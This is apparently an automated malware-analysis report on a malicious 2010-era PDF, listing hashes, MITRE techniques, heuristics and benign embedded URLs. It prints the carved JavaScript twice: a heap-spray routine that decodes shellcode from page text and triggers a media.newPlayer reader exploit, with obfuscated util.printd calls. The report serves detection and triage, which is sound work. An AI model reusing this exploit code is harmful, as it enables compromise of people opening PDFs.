Malicious PDF — malware analysis report

Static analysis result for SHA-256 129a7624001657d8…

MALICIOUS

PDF

1.24 MB Created: 2010-07-29 10:23:43 Authoring application: Scribus 1.3.3.14 (via Scribus PDF Library 1.3.3.14) First seen: 2026-05-10
MD5: 3d609bddbce459b03e0834b508fcf847 SHA-1: d44c9fb23ad048d8fc78ddae335acefdb56f9356 SHA-256: 129a7624001657d84933cd8fc76e93cb30c9bc5c1024a14d2ae0c603626396b8
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF sample contains embedded JavaScript streams that are heavily obfuscated. Static analysis indicates these scripts are designed to exploit a PDF vulnerability, likely to download and execute a secondary payload. The ML classifier also flagged this PDF as malicious with high confidence. No specific malware family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9876

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var yR = "NewWave";
var MaxString = String.fromCharCode(0x3727,0x27f5);
for(i=0;i<15;){MaxString+=MaxString;i ++;}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comMonotype In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlIn PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text
    • http://www.iec.chIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0055_001.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBAE 1782 bytes
SHA-256: ac69c6c3334f31508d41f264b6c96bf03dc0f3b9e99acd4047cc80fe19c3f90d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function New_Script()
{
var ckWord, numWords;
var text = '';

for (var i = 0; i < this.numPages; i++ ) 
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++) 
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}

text = text + ' ';


var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
 pos += k;
 if(!b)
 {
	b = 1;
	if (pos < text.length)
	{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
 }
 else
 {
	b = 0;
	if (pos < text.length)
	{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
	
	u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
	ssqqrr_1 = '';
	ssqqrr_2 = '';
	ssqqrr += u_ssqqrr;
 }
 k++;
 if (k>3) k = 1;
}
ssqqrr = (ssqqrr);
var yR = "NewWave";
var MaxString = String.fromCharCode(0x3727,0x27f5);
for(i=0;i<15;){MaxString+=MaxString;i ++;}
MaxString=MaxString.substring(0,32768 - ssqqrr.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= MaxString + ssqqrr; i ++;
}

util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());


}
javascript_obj0055_002.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBD1 3275 bytes
SHA-256: c26bae225f558de7a6e55ebd1eabf3545b0df67f05e817302bcb2d94fc2c79d8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function New_Script()
{
var ckWord, numWords;
var text = '';

for (var i = 0; i < this.numPages; i++ ) 
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++) 
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}

text = text + ' ';


var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
 pos += k;
 if(!b)
 {
	b = 1;
	if (pos < text.length)
	{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
 }
 else
 {
	b = 0;
	if (pos < text.length)
	{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
	
	u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
	ssqqrr_1 = '';
	ssqqrr_2 = '';
	ssqqrr += u_ssqqrr;
 }
 k++;
 if (k>3) k = 1;
}
ssqqrr = (ssqqrr);
var yR = "NewWave";
var MaxString = String.fromCharCode(0x3727,0x27f5);
for(i=0;i<15;){MaxString+=MaxString;i ++;}
MaxString=MaxString.substring(0,32768 - ssqqrr.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= MaxString + ssqqrr; i ++;
}

util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());


}
endstream
endobj
56 0 obj
<< /S /JavaScript /JS 55 0 R >>
endobj
57 0 obj
<< /Names [ (New_Script) 56 0 R ] >>
endobj
7 0 obj
<< /JavaScript 57 0 R >>
endobj
8 0 obj
[]
endobj
xref
0 58
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trailer
<<
/Size 58
/Root 1 0 R
/Info 2 0 R
/ID [<5419ADFD732DE0DBBF948F99019269B9><5419ADFD732DE0DBBF948F99019269B9>]
>>
startxref
1303416
%%EOF
font_00_sfnt_off0000076d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x76D 409280 bytes
SHA-256: fcb479a00bdf7c05a68b91ba89a8ea3dd2be027dcca112f1f26270c081dc3502

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